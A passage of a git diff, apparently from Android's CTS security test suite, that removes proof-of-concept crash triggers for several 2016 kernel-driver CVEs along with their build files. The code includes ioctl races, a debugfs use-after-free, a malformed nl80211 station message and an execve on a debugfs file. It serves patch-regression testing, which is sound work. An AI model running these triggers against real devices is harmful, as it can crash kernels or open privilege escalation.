-	union {
-	    long long value[64];
-	    long long *value_ptr;
-	} integer64;
-	union {
-	    unsigned int item[128];
-	    unsigned int *item_ptr;
-	} enumerated;
-	union {
-	    unsigned char data[512];
-	    unsigned char *data_ptr;
-	} bytes;
-	struct snd_aes_iec958 iec958;
-    } value;
-    struct timespec tstamp;
-    unsigned char reserved[128-sizeof(struct timespec)];
-};
-
-int main()
-{
-    struct snd_ctl_elem_value val;
-    memset(&val, 0xff, sizeof(val));
-    val.id.numid = 0x80;
-    val.id.iface = 0x1;
-    val.id.device = 0x400;
-    val.id.subdevice = 0x7;
-    memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
-    val.id.index = 4;
-    val.value.integer.value[0] = 0x30;
-    int fd = open("/dev/snd/controlC0", O_RDWR);
-    ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10283/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10283/Android.mk
deleted file mode 100644
index cdc45bc..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10283/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-10283
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10283/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10283/poc.c
deleted file mode 100644
index 295dfcc..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10283/poc.c
+++ /dev/null
@@ -1,112 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-
-int test(void);
-int send_set_station(u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
-                     u_int8_t genl_cmd, u_int8_t genl_version);
-
-int send_set_station(u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
-                     u_int8_t genl_cmd, u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  unsigned char oper_classes[253];
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
-
-  flags.mask = (1 << NL80211_STA_FLAG_TDLS_PEER);
-  flags.set = (1 << NL80211_STA_FLAG_TDLS_PEER);
-
-  nla_put(msg, NL80211_ATTR_STA_FLAGS2, sizeof(flags), &flags);
-
-  nla_put(msg, NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES, sizeof(oper_classes),
-          oper_classes);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int ret = 0;
-  int family_id = 0;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_set_station(family_id, getpid(), NL80211_CMD_SET_STATION, 1);
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10288/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10288/Android.mk
deleted file mode 100644
index 46589ff..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10288/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2016-10288

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

-LOCAL_CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LOCAL_LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2016-10288/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10288/poc.c
deleted file mode 100644
index 2613edb..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10288/poc.c
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define SIZE 64
-
-void trigger_crash(int fd);
-void testuaf(void);
-
-void trigger_crash(int fd) {
-  int i, ret = -1;
-  int count = 1000000;
-  char buf[SIZE] = {0};
-
-  for (i = 0; i < count; i++) {
-    ret = read(fd, buf, SIZE);
-  }
-}
-
-void testuaf(void) {
-const char *infopath = "/sys/kernel/debug/flashLED/strobe";
-  int fd1 = -1;
-  int fd2 = -1;
-
-  fd1 = open(infopath, O_RDWR);
-  fd2 = open(infopath, O_RDWR);
-  close(fd2);
-  trigger_crash(fd1);
-}
-
-int main(int argc, char *argv[]) {
-  testuaf();
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10289/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10289/Android.mk
deleted file mode 100644
index 2330d04..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10289/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2016-10289

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

-LOCAL_CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LOCAL_LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2016-10289/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10289/poc.c
deleted file mode 100644
index d57c516..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10289/poc.c
+++ /dev/null
@@ -1,39 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-int main(int argc, char **argv) {
-  int ret;
-  char *h_argv[128];
-  char *h_envp[128];
-
-  ret = system("chmod +x /sys/kernel/debug/qcrypto/stats-1");
-  ret = execve("/sys/kernel/debug/qcrypto/stats-1", h_argv, h_envp);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10290/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10290/Android.mk
deleted file mode 100644
index e7da125..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10290/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2016-10290

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

-LOCAL_CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LOCAL_LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2016-10290/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10290/poc.c
deleted file mode 100644
index f2a6904..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10290/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-void ThreadFun(void);
-void trigger(void);
-
-const char *infopath = "/sys/kernel/debug/rmt_storage/info";
-
-void ThreadFun(void) {
-  int fd = -1;
-  while (1) {
-    fd = open(infopath, O_RDWR);
-    if (fd > 0) {
-      close(fd);
-      fd = -1;
-    }
-  }
-}
-
-#define TC 100
-void trigger(void) {
-  int i, ret;
-  pthread_t tids[TC];
-  for (i = 0; i < TC; i++) {
-    ret = pthread_create((pthread_t *)&tids[i], NULL, (void *)ThreadFun, NULL);
-  }
-
-  for (i = 0; i < TC; i++) pthread_join(tids[i], NULL);
-}
-
-int main(int argc, char *argv[]) {
-  trigger();
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
-  long i;
-  int pid;
-  pthread_t th[6];
-  int argn[50] = {0};
-
-  fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
-  argn[0] = 7;
-  syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
-  pid = fork();
-  if(!pid){
-    argn[0] = 1;
-    while(1){
-      usleep(10);
-      syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-    }
-  }
-  i = 0;
-  while(1){
-    i++;
-    argn[0] = 7;
-    syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
-    usleep(100);
-
-    argn[0] = 0;
-    syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
-  }
-
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8420/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8420/Android.mk
deleted file mode 100644
index 47b6bff..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8420/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8420
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES:= \
-	$(TOP)/external/libnl/include/ \
-	$(TOP)/external/libnl/lib/ \
-
-LOCAL_SHARED_LIBRARIES:= libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8420/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8420/poc.c
deleted file mode 100644
index a17ea26..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8420/poc.c
+++ /dev/null
@@ -1,486 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>          /* See NOTES */
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define KGSL_IOC_TYPE 0x09
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-#define IEEE80211_MAX_SSID_LEN 32
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-enum qca_wlan_vendor_attr_extscan_config_params {
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
-
-  /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
-   * either gets it from caller, e.g., framework, or generates one if
-   * framework doesn't provide it.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
-
-  /* NL attributes for input params used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
-   */
-
-  /* Unsigned 32-bit value; channel frequency */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
-  /* Unsigned 32-bit value; dwell time in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
-  /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
-  /* Unsigned 8-bit value; channel class */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
-
-  /* Unsigned 8-bit value; bucket index, 0 based */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
-  /* Unsigned 8-bit value; band. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
-  /* Unsigned 32-bit value; desired period, in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
-  /* Unsigned 8-bit value; report events semantics. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
-  /* Unsigned 32-bit value.
-   * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
-
-  /* Unsigned 32-bit value; base timer period in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
-  /* Unsigned 32-bit value; number of APs to store in each scan in the
-   * BSSID/RSSI history buffer (keep the highest RSSI APs).
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
-  /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
-   * APPS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
-  /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
-   * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
-   * array is determined by NUM_BUCKETS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
-
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
-  /* Unsigned 32-bit value; maximum number of results to be returned. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
-
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
-
